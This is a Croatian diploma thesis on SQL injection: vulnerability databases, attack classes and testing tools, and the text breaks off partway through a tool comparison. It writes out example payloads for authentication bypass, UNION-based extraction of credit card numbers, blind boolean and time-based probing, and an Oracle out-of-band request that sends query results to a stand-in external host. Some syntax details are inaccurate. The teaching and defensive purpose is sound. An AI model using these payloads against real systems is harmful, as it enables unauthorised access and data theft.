DIPLOMSKI RAD

ZAŠTITA OD NAPADA UMETANJEM PROGRAMSKOG KODA SQL

Ana Kolar

0036464402

 

Izvorni tekst programa

Izvršni program


 

Sadržaj

Uvod. 1

1.    Ranjivosti računalnih sustava. 2

1.1.     Baze ranjivosti 2

2.    Umetanje koda. 9

2.1.     Tipovi umetanja koda. 9

3.    Umetanje programskog koda SQL. 10

3.1.     Definicija. 10

3.2.     Standardno ispitivanje otpornosti sustava na umetanje programskog koda SQL  11

3.2.1.      Klasično umetanje programskog koda SQL. 12

3.2.2.      Jednostavne SELECT naredbe. 14

3.2.3.      Nagomilani upiti 14

3.3.     Prikupljanje informacija o bazi podataka. 15

3.4.     Klase napada umetanja programskog koda SQL. 16

3.5.     Najčešće tehnike napada. 16

3.5.1.      Napad temeljen na operatoru UNION.. 16

3.5.2.      Napad temeljen na BOOLEAN izrazima. 17

3.5.3.      Napad temeljen na pogreškama. 19

3.5.4.      Tehnika napada OUT-OF-BAND. 20

3.5.5.      Napad temeljen na vremenskoj zadršci 21

4.    Alati za provjeru ranjivosti na napade. 22

5.    Implementacija jednostavnog alata za izvršavanje napada umetanjem programskog koda SQL. 24

5.1.     Opis implementiranog alata. 24

5.2.     Tehničke značajke. 26

5.2.1.      Iskorištavanje poruka pogrešaka i provjera baze podataka. 26

5.2.2.      Korišteni upiti i MySQL funkcije. 26

5.2.3.      HttpClient 27

5.2.4.      Implementirane tehnike napada. 28

5.2.5.      Izvoz baze podataka. 30

5.3.     Upute za korištenje. 31

5.3.1.      Osnovni scenariji 31

5.3.2.      Dodatne mogućnosti 33

5.3.3.      Ostali scenariji 35

5.4.     Testno okruženje. 37

6.    Tehnike obrane od umetanja koda. 40

7.    Tehnike obrane od umetanja programskog koda SQL. 41

7.1.     Osnovne tehnike obrane od umetanja programskog koda SQL. 41

7.1.1.      Pripremljene naredbe. 41

7.1.2.      Pohranjene procedure. 44

7.1.3.      Validacija korisničkog unosa uporabom bijele liste. 46

7.1.4.      Obrada korisničkih unosa. 47

7.1.5.      Minimalne privilegije. 50

7.2.     Tehnike obrane od umetanja programskog koda SQL vezane za programski jezik PHP i sustav za upravljanje bazama podataka MySQL. 51

7.2.1.      Magic quotes. 51

7.2.2.      Unaprijeđeni Magic quotes. 52

7.2.3.      Formatiranje. 54

7.2.4.      Pripremljene naredbe. 55

Zaključak. 60

Literatura. 61

Sažetak. 64

Summary. 65

 


Uvod

 

Sigurnosne ranjivosti vrlo često se pronalaze u sustavima i programskim implementacijama, pogotovo u području web-aplikacija koje su vrlo česta meta napadača koji žele i znaju iskoristiti te ranjivosti. Potrebno je podići razinu svijesti o sigurnosti aplikacija i educirati programere, dizajnere, arhitekte sustava, menadžere i organizacije o najvažnijim sigurnosnim ranjivostima. Važnu ulogu u tome ima OWASP (engl. The Open Application Security Project) -  online zajednica koja stvara članke, metodologije, dokumentaciju, alate i tehnologije u području sigurnosti web-aplikacija. OWASP-ova najvažnija publikacija Top 10 definira kritične rizike na osnovi rasprostranjenosti u kombinaciji s mogućnosti iskorištavanja, otkrivanja i mogućeg utjecaja. Umetanje programskog koda SQL smješteno je na prvo mjesto kritičnih rizika stoga će poseban naglasak u ovom radu biti na toj vrsti napada.

 

Da bi izveo napad napadač treba imati znanje o tehnikama napada te pristup i znanje korištenja alata koji automatiziraju sam postupak. Napad umetanjem programskog koda SQL može biti vrlo jednostavan, a posljedice mogu biti vrlo ozbiljne te u konačnici prouzročiti velike gubitke, kako u obliku samih podataka tako i u obliku novca ili reputacije.

 

Sigurnosne ranjivosti i baze ranjivosti opisane su u prvom poglavlju. Drugo poglavlje objašnjava pojam umetanja koda i nabraja tipove umetanja koda. Treće poglavlje govori o umetanju programskog koda SQL, točnije o osnovnim testovima i standardnom ispitivanju otpornosti sustava na umetanje SQL koda, prikupljanju informacija o bazi podataka, klasama napada te su preciznije pojašnjene najčešće tehnike napada. Četvrto poglavlje pruža pregled i usporedbu poznatih alata za provjeru ranjivosti na napade. Nekoliko opisanih tehnika napada implementirano je u praktičnom dijelu rada koji je pobliže, zajedno s testnim okruženjem, objašnjen u petom poglavlju. Cjelinu zaokružuju šesto poglavlje u kojem su nabrojane općenite tehnike obrane od umetanja koda, te sedmo poglavlje koje opisuje osnovne tehnike obrane od umetanja programskog koda SQL općenito i malo specifičnije za čestu kombinaciju programskog jezika PHP i sustava za upravljanje bazama podataka MySQL.


1.    Ranjivosti računalnih sustava

 

Računalne sigurnosne ranjivosti su slabe točke informacijskog sustava koje omogućavaju napadaču da izvede napad te smanji vjerodostojnost informacijskog sustava. Nalaze se u sigurnosnim procedurama sustava, dizajnu i implementacijama te uslijed slučajnog ili namjernog iskorištavanja rezultiraju sigurnosnim probojem informacijskog sustava ili narušavanjem njegove sigurnosne politike [3].

Ranjivost omogućuju tri elementa: osjetljivost sustava ili mana, napadačev pristup mani i njegova sposobnost da ju iskoristi [9]. U ovom kontekstu ranjivosti se nazivaju područje napada i za njihovo iskorištavanje napadač mora imati barem jedan primjenjiv alat i tehniku.

 

1.1.         Baze ranjivosti

 

Baze ranjivosti (engl. vulnerability database) su platforme čiji je cilj skupljanje, širenje i održavanje informacija o postojećim otkrivenim ranjivostima raznih računalnih sustava i aplikacija. U njima su pohranjeni detaljni opis i karakteristike otkrivene ranjivosti, potencijalne posljedice te moguća zaobilazna rješenja koja pokušavaju zaustaviti napadače u njihovim zlonamjernim pokušajima iskorištavanja tih ranjivosti. Prednost baza ranjivosti je što potrošači i organizacije prije korištenja ili kupnje sustava ili programske opreme (engl. software) mogu provjeriti otkrivene propuste. Uz korist korisnicima u svrhu informiranja, baze ranjivosti također su koristan izvor informacija napadačima. Ipak, u interesu svih je da podaci budu javni kako bi se što ranije napravile sigurnosne zakrpe te zaobilazna rješenja.

Ranjivosti se kvantificiraju kako bi se stručnjaci fokusirali na rješavanje prioritetnih tj. potencijalno najštetnijih ranjivosti. Također potiču i savjetuju korisnike i organizacije na stvaranje sigurnosnih zakrpi i drugih načina ublažavanja ranjivosti uz svjesnost o mogućnosti stvaranja sigurnosnih ranjivosti pri pokušajima popravljanja drugih.

U računicu opasnosti ranjivosti ulaze tri komponente [9]:

·       Nepromjenjiva svojstva – posljedice izloženosti povjerljivih informacija, dostupnost informacija, posljedice nepovratnog brisanja podataka

·       Promjenjiva svojstva – trenutno stanje uzrokovanog problema, razvoj zaobilaznih rješenja

·       Okruženje – potencijalni gubitak

Do sada najpoznatija baza ranjivosti bila je OSVDB (engl. Open Source Vulnerability Database) no uslijed nedovoljne podrške zajednice pri održavanju donesena je odluka da se ona trajno ugasi. Lista CVE (engl. Common Vulnerabilities and Exposures) je najvažnija lista područja sigurnosnih ranjivosti koja služi povezivanju različitih izvora s informacijama o sigurnosnim ranjivosti te je temelj najopsežnije baze NVD (engl. National Vulnerability Database). Još jedna platforma novijeg datuma je XFE (engl. IBM X-Force Exchange) koja na moderan način vizualizira dostupne podatke.

 

CVE (engl. Common Vulnerabilities and Exposures) zapravo nije baza ranjivosti već javna lista sigurnosnih ranjivosti koja pridjeljivanjem standardiziranog identifikatora svakoj ranjivosti omogućuje jednostavno dijeljenje informacija o ranjivostima kroz različite alate, repozitorije i servise. CVE ne sadrži podatke o rizicima ili rješenjima već samo identifikator koji uključuje identifikacijski broj npr. CVE-2014-0067, kratki opis te poveznice na izvještaje o ranjivostima i slične korisne javno dostupne dokumente. CVE pruža osnovicu za procjenu kvalitete alata jer omogućava mjerenje pokrivenosti ranjivosti te tako i procjenu učinkovitosti i prikladnost alata ovisno o potrebama [10]. Ranjivosti je moguće pretraživati po nazivu proizvoda, pružatelju usluge ili proizvoda, vrsti ranjivosti i sl.

 

Slika 1.1 Prikaz pretrage za vrstu ranjivosti 'SQL Injection'

 

Slika 1.2 Prikaz informacija o ranjivosti

 

Baza NVD (engl. The National Vulnerability Database) pokrenuta je 2005. godine i sadržava preko 76 000 CVE zapisa uz dodatne informacije o ranjivostima te bolju tražilicu i vizualizaciju podataka.

NVD za ocjenjivanje rizika ranjivosti koristi CVSS Version 2 (engl. Common Vulnerability Scoring System), otvoreni standard za pridjeljivanje kvantifikatora ranjivostima u ovisnosti o lakoći iskorištavanja i težini posljedica [11]. NVD se ažurira čim izađu podaci o tek dodanoj ranjivosti iz liste CVE te ju potom NVD analitičari analiziraju u roku 2 radna dana. NVD pruža podršku za statistiku čija je svrha da korisnicima omogući stvaranje statistika kroz vrijeme i kvalitetno praćenje određenih proizvoda, pružatelja usluga ili proizvoda te atributa ranjivosti.

 

Slika 1.3 Primjer rezultata pretraživanja za pojam 'SQL injection'

 

Slika 1.4 Primjer detaljnih informacija o ranjivosti CVE-2016-4040

 

Slika 1.5 Prikaz promjene tipova ranjivosti kroz godine

 

XFE (engl. IBM X-Force Exchange) nova je platforma koja skuplja informacije o ranjivostima, zlonamjernim IP adresama, URL-ovima i web-aplikacijama. Podaci su integrirani iz IBM baza podataka (X-Force Database, oko 88 000 zapisa), slobodno dostupnih izvora te iz suradnji s neovisnim izvorima. [12].

Na početnom zaslonu prikazana je moderna pokretna vizualizacija zlonamjernih IP adresa prema državama otkrivenih tijekom zadnjeg sata kategoriziranih kao što je prikazano na Slika 1.6.

 

Slika 1.6 Vizualizacija statistike zlonamjernih IP adresa

 

Glavne mogućnosti koje XFE pruža su pretraživanje, komentiranje, pohranjivanje u kolekcije i dijeljenje kolekcija i izvještaja o ranjivostima. Pretraživati se može po IP adresama, URL-ovima te ranjivosti po CVE identifikatoru. Prilikom pretraživanja npr. IP adrese prikazuju se podaci o ocjeni rizika (skala 1 – 10, mijenja se prema volumenu i učestalosti), lokaciji na razini države, kategoriji i povijesnom sadržaju ažuriranja koji se odnose na tu adresu od trenutka od kojeg se ona prati. Detalji vezani za informacije o web-aplikacijama i URL-ovima većinom se podudaraju s podacima o IP adresama, uz naravno, drugačiju kategorizaciju. Prikaz rezultata pretraživanja moguće je vidjeti na Slika 1.7.

 

Slika 1.7 Rezultat pretraživanja IP adrese

 

Kad korisnik želi pohraniti rezultate pretrage ili neke informacije može prikazani izvještaj dodavati u kolekcije na 3 razine – “My collections”, “Shared with me” i “Public”. Izvještaj je pritom pohranjen u obliku kakvom je bio u trenutku pohranjivanja, no moguće je vidjeti i trenutno, stvarnovremensko stanje izvještaja. Unutar kolekcije postoje zabilješke, vremenska crta aktivnosti te lista pohranjenih izvještaja.

Za razliku od ostalih baza podataka XFE pruža API (engl. Application Programming Interface) koji omogućava integraciju s drugim sustavima i platformama. Primjer zahtjeva i JSON odgovora moguće je vidjeti na Slika 1.8.

 

Slika 1.8 Primjer GET zahtjeva i JSON odgovora

2.    Umetanje koda

 

Umetanje koda (engl. code injection) je općeniti naziv za tip napada koji se sastoji od umetanja koda koji potom aplikacija izvršava. Zbog nedostatka odgovarajuće validacije podataka (npr. format podataka, količina primljenih podataka, dozvoljeni znakovi) napadaču je omogućeno umetanje (engl. injection) koda u ranjiv računalni program i promjena tijeka izvođenja te iskorištavanja pogrešaka u programu do kojih dolazi obradom (namjerno) neispravnih podataka [2].

 

2.1.         Tipovi umetanja koda

 

·       SQL Injection – korištenje SQL sintakse za umetanje naredbi kojima se čitaju ili mijenjaju podaci iz baze podataka mijenjanjem ili nadopunjavanjem originalnih upita

·       HTML/Script Injection – čest naziv još je “Cross-Site Scripting” ili “XSS”, umetanje zlonamjernih skripti u web-stranice

·       Shell Injection/Command Injection – izvršavanje proizvoljnih naredbi na host operacijskom sustavu kroz ranjivu aplikaciju njenim prenošenjem nesigurnih podataka sistemskoj ljusci

·       Dynamic Code Evaluation/Eval Injection – skripta ne validira korisnički unos te napadač preko prilagođenog URL-a preda proizvoljan kod funkciji eval() koja potom izvršava taj kod

·       Object Injection – neprovjeren ulaz preda se funkciji za deserijalizaciju te on prepiše postojeći objekt kojeg se namjeravalo deserijalizirati

·       Remote File Injection – iskorištavanje dinamičkog učitavanja vanjskih datoteka u aplikaciji

 

 

 

 

3.    Umetanje programskog koda SQL

 

3.1.         Definicija

 

Prvi spomen pojma umetanja programskog koda SQL i diskusija pojavljuju se oko 1998. godine, a 2013. takva vrsta napada našla se prva na ljestvici kritičnih sigurnosnih rizika u OWASP-ovoj publikaciji Top Ten [5].

Umetanje SQL koda (engl. SQL injection) koristi se nad data-driven aplikacijama s ciljem da zlonamjerni podaci napadača zavaraju interpreter kako bi izvršio naredbe koje nije namjeravao ili dao pristup podacima napadaču bez odgovarajućih ovlasti i valjane autorizacije [1]. Uspješno umetanje SQL koda omogućuje napadaču da ubacuje podatke u bazu, uništi ili mijenja postojeće podatke, izvršava operacije nad bazom s administracijskim ovlastima (npr. ugasi sustav za upravljanje bazom podataka), mijenja sadržaj postojećih datoteka u podatkovnom sustavu sustava za upravljanje, izvršava naredbe operacijskog sustava, razotkrije sve podatke, učini ih nedostupnima ili nevažećima ili poništi transakcije.

 

Opći pregled SQL injekcije prema OWASP-u [6]

·       Potencijalni napadači - svatko tko može poslati sumnjive podatke sustavu uključujući vanjske i unutarnje korisnike te administratora

·       Napadački vektor - jednostavan tekst koji napadač šalje s namjerom iskorištavanja sintakse interpretera

·       Sigurnosne slabe točke - ranjivosti na umetanje koda ranjivosti veoma su rasprostranjene te se često nalaze u SQL, LDAP, XPath ili NoSQL upitima, OS naredbama, XML parserima, SMTP zaglavljima i slično. Lako ih je otkriti proučavanjem koda, ali često teško otkriti testiranjem

·       Tehnički učinak - moguć gubitak podataka, zabrana pristupa ili čak potpuno preuzimanje kontrole nad bazom podataka

·       Poslovni učinak - promatra se s aspekta poslovne vrijednosti ugroženih podataka i platforme na kojoj je pokrenut interpreter. Podaci mogu biti ukradeni, izmijenjeni i obrisani te reputacija može biti značajno narušena

Primjer: Jednostavno umetanje SQL koda

SQL upit:

Select title, text

From news

Where id = $id

 

SQL naredbe uključuju programski kod sa SQL sintaksom u kombinaciji s podacima dobivenim od korisnika. U ovom primjeru varijabla $id sadržava podatke dobivene od korisnika dok je statički dio napisao programer. Statički dio i varijabla tvore SQL upit dinamičkim.

Vrijednost varijable:

$id = '10 or 1=1'

S navedenom vrijednošću varijable stvoren je upit za umetanje SQL koda jer napadač koristi uvjet '1=1' čiji je rezultat uvijek true.

 

3.2.         Standardno ispitivanje otpornosti sustava na umetanje programskog koda SQL

 

Potrebno je razumjeti kada točno aplikacija komunicira s poslužiteljem baze podataka u svrhu dohvaćanja podataka. Obično je to prilikom uporabe formi za autentifikaciju kada se s bazom podataka provjerava valjanost korisničkog imena i lozinke, kod tražilice u koje korisnik unosi tekst koji može biti korišten za dohvaćanje određenih podataka iz baze te kod web-aplikacija za elektroničko poslovanje jer su proizvodi i njihove karakteristike uglavnom pohranjeni u bazi podataka.

Ispitivač sustava bi trebao napraviti listu svih mogućih vrijednosti ulaza koji mogu biti korišteni za izradu SQL upita, uključujući skrivena polja POST zahtjeva (te HTTP zaglavlja i kolačića) te ih zatim odvojeno testirati i pokušati generirati pogrešku. Važno je testirati svaki parametar zasebno kako bi se točno odredilo koji su parametri ranjivi [7].

Prvi test je dodavanje jednostrukog navodnika ili znaka točka-zarez u testirano polje. Jednostruki navodnik se koristi u SQL-u kao graničnik niza znakova i ako nije filtriran od strane aplikacije vodi do neispravnog upita i proizvodi pogrešku prikazanu na Slika 3.1. Drugi, točka-zarez, se koristi za kraj SQL naredbe te također generira pogrešku ako nije filtriran.

Slika 3.1 Poruka pogreške (Microsoft SQL Server)

 

Također treba ispitati znakove za ubacivanje komentara te ostale ključne riječi poput AND ili OR koje se koriste za pokušaj modificiranja upita. Jednostavan, a efektan primjer je umetanje niza znakova tamo gdje se očekuje broj. Rezultat je poruka pogreške prikazana na Slika 3.2.

 

Slika 3.2 Poruka pogreške (Microsoft SQL Server)

 

Nakon takvih pokušaja generiranja pogrešaka potrebno je promatrati odgovore od web-poslužitelja i proučavati HTML/JavaScript izvorni kod. Potpuni opis tj. poruka pogreške pruža bogat izvor informacija testeru. Kada su pogreške kratke i ne odaju puno informacija, poput '500 Server Error' potrebno je koristiti tehnike slijepog umetanja (engl. blind injection).

 

3.2.1.     Klasično umetanje programskog koda SQL

 

Primjer 1 [7]: Autentikacija korisnika na web-aplikaciji uz pretpostavku da se parametri šalju GET metodom i da je domena www.example.com.

Upit:

SELECT * FROM Users

WHERE Username='$username' AND Password='$password'

 

Korisnički unos:

$username = 1' or '1' = '1

$password = 1' or '1' = '1

Konačni upit:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Zahtjev:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

Upit će uvijek vratiti vrijednost ili skup vrijednosti jer je napisani uvjet uvijek istinit zbog dijela upita 'OR 1 = 1'. Tako je postignuto da se korisnik autentificirao bez znanja o korisničkom imenu i lozinki.

 

Primjer 2 [7]:

Upit:

SELECT * FROM Users

WHERE ((Username='$username') AND (Password=MD5('$password')))

 

U slučaju ovakvog upita postoje dva problema. Prvi problem predstavljaju zagrade te se to rješava dodavanjem onoliko zagrada koliko je potrebno da se dobije ispravan upit. Drugi problem je uporaba MD5 funkcije za izračunavanje sažetka i to se rješava tako da se taj dio upita stavi pod komentar. U ovom primjeru odgovarajući znak za komentar je ‘/*’ dok je za druge sustave za upravljanje bazama podataka znak ‘-’ ili nešto slično.

Korisnički unos:

$username = 1' or '1' = '1'))/*

$password = foo

 

Konačni upit:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))

Zahtjev:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo

Odgovor na navedeni upit može sadržavati više vrijednosti stoga je u zahtjev umetnut dio LIMIT <num> prije znaka za komentar.

3.2.2.     Jednostavne SELECT naredbe

 

Upit:

SELECT * FROM products

WHERE id_product=$id_product

 

Vrijednost varijable:

$id = 10

 

Zahtjev:

http://www.example.com/product.php?id=10

Uz korištenje jednostavnih operatora AND i OR moguće je poslati zahtjeve poput:

http://www.example.com/product.php?id=10 AND 1=2

http://www.example.com/product.php?id=10 AND 1=1

 

Prvi zahtjev će vratiti poruku greške s informacijom da ne postoji takav sadržaj. Nakon toga ispitivač može poslati ispravan uvjet i dobiti podatke o proizvodu s tim identifikatorom ako takav proizvod postoji.

 

3.2.3.     Nagomilani upiti

 

Ovisno o API-ju kojeg web-aplikacija koristi ponekad je moguće izvesti više upita u jednom izvođenju tj. nagomilane upite (engl. stacked queries). Sljedeći primjer [7] pokazuje kako bi se u kombinaciji PHP + PostgreSQL ili ASP + SQL SERVER lako moglo izvesti ubacivanje podataka u bazu:

Upit:

SELECT * FROM products

WHERE id_product=$id_product

 

Zahtjev:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

3.3.         Prikupljanje informacija o bazi podataka

 

Za izvođenje ispitivanja (ili napada) važno je saznati o kojem se sustavu za upravljanje bazama podataka radi i to se može jednostavno saznati na temelju poruka pogrešaka koje sustav vraća [7].

MySQL:

Slika 3.3 Pogreška koju vraća sustav za upravljanje bazama podataka MySQL

 

Oracle:

Slika 3.4 Pogreška koju vraća sustav za upravljanje bazama podataka Oracle

 

MS SQL Server:

Slika 3.5 Pogreška koju vraća sustav za upravljanje bazama podataka MS SQL

 

PostgreSQL:

Slika 3.6 Pogreška koju vraća sustav za upravljanje bazama podataka PostgreSQL

 

U slučaju kada nema poruka pogrešaka ili su prilagođene pa otkrivaju manje informacija ispitivač može pokušati metodu konkatenacije:

 

MySQL: 'test' + 'ing'

Oracle: 'test' 'ing'

MS SQL Server: 'test'||'ing'

PostgreSQL: 'test'||'ing'

 

3.4.         Klase napada umetanja programskog koda SQL

 

Klase napada umetanjem programskog koda SQL [8]

·       Inband – podaci se dohvaćaju korištenjem istog kanala kao i za umetanje SQL koda

·       Out-of-band – podaci se dohvaćaju različitim kanalom od onog koji je korišten za umetanje programskog koda SQL npr. email s rezultatima upita

·       Inferential/Blind – nema prijenosa podataka, ali ispitivač odnosno napadač može rekonstruirati informaciju slanjem određenih zahtjeva i promatranjem rezultiranog ponašanja poslužitelja

Za uspješan napad potrebno je izraditi sintaksno ispravan SQL upit. Ako aplikacija vrati grešku jer je upit bio neispravan, napadač ima ideju kako nastaviti upit na osnovu poruke greške, te nešto promijeniti i ponovno pokušati. Međutim ako aplikacija skriva detalje pogreške, napadač mora biti u mogućnosti otkriti logiku originalnog upita.

 

3.5.         Najčešće tehnike napada

 

3.5.1.     Napad temeljen na operatoru UNION

 

Operator UNION, koji se koristi u napadima temeljenima na operatoru UNION (engl. UNION-based attack), koristi se kada su ranjivosti u SELECT dijelu SQL naredbe. Operator UNION omogućava spajanje originalnog i zlonamjernog napadačevog upita te njihovih rezultata u jedan skup podataka (engl. result set) čime se omogućava npr. dobavljanje vrijednosti atributa [8].

Primjer:

Upit:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Postavljena vrijednost varijable:

id: $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Konačni upit:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

 

Dodatni upit je dohvaćanje brojeva kartica iz tablice CreditCardTable. Ključna riječ ALL potrebna je zbog slučaja korištenja ključne riječi DISTINCT i dodatne dvije brojčane vrijednosti potrebne su kako bi se izbjegla sintaksna pogreška jer upiti moraju imati jednak broj parametara tj. atributa.

Prvi korak: Određivanje broja atributa u SELECT naredbi

To se može odrediti na sljedeći način:

http://www.example.com/product.php?id=10 ORDER BY 10--

Ako upit uspije onda postoji 10 ili više atributa, a u protivnom se pojavljuje poruka greške poput 'Unknown column '10' in 'order clause'. Tako se pokušava redom dok se ne dođe do točnog broja atributa.

 

Drugi korak: Otkrivanje tipa atributa

Napadač može pokušavati pogoditi tip atributa, jednog po jednog postavljajući vrijednosti ostalih atributa  na null.

Primjer:

http://www.example.com/product.php?id=10 UNION SELECT 1, null, null--

U slučaju pogreške pojavit će se poruka poput 'All cells in a column must have the same datatype'. Kada je pogođen tip atributa, on se fiksira te se pokušava sa sljedećim.

 

3.5.2.     Napad temeljen na BOOLEAN izrazima

 

Napadi temeljeni na BOOLEAN izrazima (engl. BOOLEAN-based attack) spadaju u skupinu napada slijepog umetanja programskog koda SQL jer se koriste kada nije poznato ništa osim rezultata operacije. To se primjerice događa kada programer stvori svoju stranicu za opis pogrešaka koja ne otkriva ništa o strukturi ili upitu baze podataka. Takve stranice obično sadržavaju samo statusni kod HTTP 500, 404 ili redirect i ne vraćaju SQL pogrešku. Takve prepreke moguće je zaobići metodom zaključivanja koja se sastoji od serije boolean izraza, promatranja odgovora i izvođenja zaključaka [8].

Primjer zahtjeva:

http://www.example.com/index.php?id=1'

Izvođenjem upita pojavit će se poruka o sintaksnoj pogrešci u upitu zbog dodanog jednostrukog navodnika.

Pretpostavimo da je upit koji je izveden na poslužitelju sljedećeg oblika:

Primjer:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Želimo dohvatiti vrijednosti atributa username i to možemo ostvariti saznavanjem znaka po znaka korištenjem nekih pseudofunkcija:

SUBSTRING (text, start, length) vraća podniz znakova od indeksa ‘start’ duljine ‘length’. Ako je ‘start’ > ‘length’ onda funkcija vraća null

ASCII (char) vraća ASCII vrijednost ulaznog znaka (ako je znak 0 vraća se null)

LENGTH (text) vraća broj znakova ulaznog teksta

 

Vrijednost varijable:

$Id=1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1'='1

Konačni upit:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1'='1'

Upit vraća rezultat samo ako prvi znak atributa username odgovara ASCII vrijednosti 97, u suprotnom se u idućoj iteraciji pokušava s 98 itd. Ako je rezultat upita true potrebno je povećati indeks u funkciji substring.  O tome vraća li upit true ili false moguće je zaključiti stvaranjem upita za koji je sigurno da vraća false poput:

Vrijednost varijable:

$Id=1' AND '1' = '2

Upit:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

Izvršavanjem navedenog upita napadač saznaje kako izgleda false odgovor na testove. To neće funkcionirati u slučaju kada poslužitelj vraća različite stranice kao rezultat identičnih upita. U tim slučajevima potrebno je koristiti određene filtere koji eliminiraju kod koji se mijenja u odgovoru i stvoriti predložak. Prilikom svakog zahtjeva izdvoji se promjenjivi dio odgovora i na osnovu stvorenih predložaka odluči koji je rezultat upita.

Potrebno je znati i kada završiti testove budući da ASCII funkcija vraća null vrijednost u dva slučaja. Kada uspoređujemo znak s ASCII kodom 0 (vrijednost null) vraća se true ili kada smo pretražili cijeli niz znakova ili smo analizirali null znak.

Sljedećim upitom moguće je riješiti nedoumicu.

Vrijednost varijable:

$Id=1' AND LENGTH(username)=N AND '1' = '1

Gđe je N broj do sada analiziranih znakova (ne brojeći null vrijednost).

Upit:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

Ako je rezultat upita true onda je metoda završena te su poznate vrijednosti parametra, u protivnom je potrebno raditi analizu do sljedeće null vrijednosti.

 

3.5.3.     Napad temeljen na pogreškama

 

Napad temeljen na pogreškama (engl. ERROR-based attack) koristan je kada napadač ne može koristiti druge tehnike poput napada temeljenog na operatoru UNION. Ideja je prisiliti bazu podataka da izvede operaciju koja će rezultirati pogreškom te će informacijama u poruci pogreške omogućiti napadaču da unaprijedi upit te iterativno pokušava doći do uspjeha [8]. Ova tehnika može biti različita ovisno o specifikacijama sustava za upravljanje bazama podataka (engl. Database Management System, skraćeno DBMS).

Primjer za DBMS Oracle 10g:

Upit:

SELECT * FROM products WHERE id_product=$id_product

Zahtjev:

http://www.example.com/product.php?id=10

Konačni zahtjev:

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--

 

U ovom primjeru napadač konkatenira vrijednost 10 s rezultatom funkcije UTL_INADDR.GET_HOST_NAME koja pokušava saznati host name predanog parametra (u ovom slučaju imena korisnika). DBMS će vratiti pogrešku i poruku poput 'ORA-292257: host SCOTT unknown' čime je očito odana informacija koju napadač može iskoristiti.

 

3.5.4.     Tehnika napada OUT-OF-BAND

 

U tehnici napada OUT-OF-BAND dohvaćanje podataka izvršava se putem drugog kanala od onog kojim se umeće programski kod SQL npr. stvara se HTTP veza za slanje rezultata [8]. Ova tehnika je korisna kada se napadač nađe u situaciji u kojoj nije poznato ništa osim rezultata operacije. Tehniku čini uporaba funkcija sustava za upravljanje bazama podataka koje stvaraju out of band vezu i vraćaju rezultat umetnutog upita kao dio zahtjeva prema poslužitelju. Kao i za napade temeljene na pogreškama, funkcije ovise o sustavu za upravljanje bazom podataka.

Upit:

SELECT * FROM products WHERE id_product=$id_product

Zahtjev:

http://www.example.com/product.php?id=10

Konačni zahtjev:

http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELET user FROM DUAL)--

U ovom primjeru napadač konkatenira vrijednost 10 s rezultatom funkcije UTL_HTTP.request – Oracle funkcija koja se pokušava spojiti na testerserver i napraviti GET zahtjev koji sadržava rezultat SELECT upita.

 

3.5.5.     Napad temeljen na vremenskoj zadršci

 

Tehnika napada temeljenog na vremenskoj zadršci (engl. TIME-based attack) korisna je kada se napadač nađe u situaciji u kojoj nije poznato ništa osim rezultata operacije. Napadač šalje umetnute upite i u slučaju da je uvjet istinit poslužitelju je potrebno određeno vrijeme da odgovori [8]. Ako postoji vremenska zadrška napadač može pretpostaviti da je rezultat upita true. Koriste se razne funkcije poput sleep() te tehnika i funkcije ovise o sustavu za upravljanje bazom podataka.

 

Upit:

SELECT * FROM products WHERE id_product=$id_product

Zahtjev:

http://www.example.com/product.php?id=10

 

Primjer za DBMS MySQL 5.x:

Konačni zahtjev:

http://www.example.com/product.php?id=10 AND IF(version() like '5%', sleep(10), 'false'))--

Napadač provjerava radi li se o verziji MySQL 5.x te kada to nije slučaj zadaje poslužitelju određeno vrijeme čekanja koje je dovoljno da zaključi je li rezultat true ili false (u ovom primjeru 10 sekundi).

 

4.    Alati za provjeru ranjivosti na napade

 

Postoji mnoštvo slobodno dostupnih alata za provjeru ranjivosti na napade, a posebno se u području napada umetanjem SQL koda ističu sqlmap i BSQL Hacker. Još su često u uporabi alati Safe3 SQL Injector, SQLSus i The Mole [13]. Alati su tablično uspoređeni s obzirom na sustave za upravljanje bazama podataka, tehnike napada umetanjem programskog koda SQL i s obzirom na operacijske sustave.

 

Tablica 1 Podržanost sustava za upravljanje bazama podataka

 

sqlmap

BSQL Hacker

Safe3 SQL Injector

SQLSus

The Mole

MySQL

+

+*

+

+

+

Oracle

+

+

+

 

+

PostgreSQL

+

 

+

 

+

MSSQL

+

+

+

 

+

IBM DB2

+

 

 

 

 

SQLite

+

 

+

 

 

Firebird

+

 

+

 

 

Sybase

+

 

+

 

 

SAP MaxDB

+

 

+

 

 

Microsoft Access

+

 

+

 

 

HSQLDB

+

 

 

 

 

*eksperimentalno

 

Iz Tablica 1 je evidentno da najveći opseg u kontekstu podržanosti sustava za upravljanje bazama podataka imaju alati sqlmap i Safe3 SQL Injector dok je primjerice SQLSus specijaliziran samo za sustav za upravljanje bazama podataka MySQL.

S obzirom na napade umetanjem programskog koda SQL najmoćniji su alati sqlmap, SQLSus i BSQL Hacker kao što je vidljivo na Tablica 2 te s obzirom na podržanost operacijskih sustava uvjerljivo je najmoćniji alat sqlmap kao što je vidljivo na Tablica 3.

Tablica 2 Podržanost tehnika napada

 

sqlmap

BSQL Hacker

Safe3 SQL Injector

SQLSus

The Mole

Boolean-based

+

+

 

+

+

Time-based

+

+

 

+

 

Error-based

+

+

+

 

 

UNION based

+

 

+

+

+

out-of-band

+

 

 

 

 

Nagomilani upiti

+

 

 

+

 

 

Tablica 3 Podržanost operacijskih sustava

 

sqlmap
